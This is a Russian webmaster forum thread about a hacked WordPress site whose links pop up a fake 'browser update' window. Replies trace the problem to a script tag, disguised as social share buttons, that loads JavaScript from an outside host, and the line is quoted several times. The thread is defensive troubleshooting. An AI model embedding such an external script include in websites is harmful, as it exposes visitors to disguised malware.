Баг с вордпресс (взлом сайта)

12
S
На сайте с 24.09.2009
Offline
66
1708

Здравствуйте. Такая проблема: на хостинг был закинут файл авто-обновления вордпресс, и видимо во время обновления передернули какую-то функцию, отвечающую за внешние ссылки. При нажатии на внешку вылазит новое окно с "обновлением браузера".

Такая хрень - во всех браузерах.

Переустановка CMS проблему не решила. Кто-то может помочь, как быть в этой ситуации? Заранее огромное спасибо.

PS: сайт style-hitech.ру

R
На сайте с 24.01.2008
Offline
180
#1

ТС, такая проблема с 1 сайтом? или еще затронуло?

Если сами не справитесь стучите поможем найти все вредоносное + дадим рекомендации!

Удаление вирусов с сайта, защита сайта, Гарантия! ( /ru/forum/999073 ) -> топик на маулталк ( http://www.maultalk.com/topic113834s0.html ) -> Топик в сапе ( http://forum.sape.ru/showthread.php?t=79363 ). TELEGRAM - https://t.me/Doktorsaitov
SeVlad
На сайте с 03.11.2008
Offline
1609
#2
shvetic:
Переустановка CMS проблему не решила.

Полностью удалялись все файлы и заливались из дистрибутива с оф сайта?

Значит пп4-6 выполнить в точности.

Крайний случай - искать в базе по словам заразы.

АПД.

Да, хтацесс и все индексные файлы проверены?

Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
S
На сайте с 24.09.2009
Offline
66
#3

1. Дистрибутив обновлен с оф сайта.

2. Тема была заменена

3. Плагины отключались

4. хтацесс и прочие файлы проверены.

5. В базе через поиск тоже сайт вирусный, который вылетает, не находится.

6. Такая проблема еще на нескольких сайтах на этом же хостинге, но не на всех.

7. Отписала в службу поддержки, пока не нашли тоже решение.

K5
На сайте с 21.07.2010
Offline
209
#4

Не на внешние ссылки, а любые страницы, проверьте еще раз htaccess...

аська 45два48499два записки на работе (http://memoryhigh.ru) помогу с сайтом, удалю вирусы, настрою впс -> отзывы ТУТ (/ru/forum/836248) и ТАМ (http://www.maultalk.com/topic140187.html) !!!всегда проверяйте данные людей, которые сами пишут вам в аську или скайп!!!
bukachuk
На сайте с 07.09.2008
Offline
97
#5

Правильно вам говорят смотрите htaccess, переход идет методом js причем выдает куку чтобы второго не было уже. Стирайте куки чтобы повторить представление:D

Если файл нормальный то отключите в шаблоне все js и посмотрите на результат - переходить перстало - подключайте по одному, не забывайте чистить куки

---------- Добавлено 16.10.2012 в 00:52 ----------

<script type="text/javascript" src="http://jquery-library.ru/jl.php?share=0,7,10,14,16,24,34,35,38&size=24"></script>

Это удалите из кода там вирус из шаблона удалите и все пройдет

Программирование PHP,Mysql (/ru/forum/934470)
S
На сайте с 24.09.2009
Offline
66
#6
bukachuk:
Правильно вам говорят смотрите htaccess, переход идет методом js причем выдает куку чтобы второго не было уже. Стирайте куки чтобы повторить представление:D

Я верю, что правильно советуют - поэтому и спрашиваю, но нет ничего левого в htaccess - стандартно все для WP:

# BEGIN WordPress

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteBase /

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteRule . /index.php [L]

</IfModule>

# END WordPress

Если файл нормальный то отключите в шаблоне все js и посмотрите на результат - переходить перстало - подключайте по одному, не забывайте чистить куки

Отключение самого шаблона и плагинов ничего не изменило

<script type="text/javascript" src="http://jquery-library.ru/jl.php?share=0,7,10,14,16,24,34,35,38&size=24"></script>

bukachuk, простите за навязчивость, где вы нашли эту строчку? Пересматриваю все файлы темы и WP, не нахожу.

[Удален]
#7

ТС, в исходном коде сингла, прямо после вывода панели лайков

png 121243.png
bukachuk
На сайте с 07.09.2008
Offline
97
#8

Исходный код документа и поиск строки и вообще подключение внешних библиотек js дурная привычка

K5
На сайте с 21.07.2010
Offline
209
#9

во внутренних страницах

<!-- Breadcrumb NavXT 4.1.0 -->
<a title="Перейти к Главная." href="http://style-hitech.ru">Главная</a> &gt; <a title="Go to the Софт category archives." href="http://style-hitech.ru/category/soft-2/">Софт</a> &gt; Instafocus ***8212; новый клиент для Instagram
<div class="entry-date">Октябрь 15th, 2012</div>
<div class="share42init"></div>
<script type="text/javascript" src="http://jquery-library.ru/jl.php?share=0,7,10,14,16,24,34,35,38&size=24"
S
На сайте с 24.09.2009
Offline
66
#10

Вы правы, после удаления этих кнопочек соц-сетей, проблема ушла. Спасибо ОГРОМНОЕ!!! В благодарность хочу предложить всем откликнувшимся разместить вашу ссылочку на этой площадке.

Если интересно, - в ЛС. :)

Еще раз всем спасибо.

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий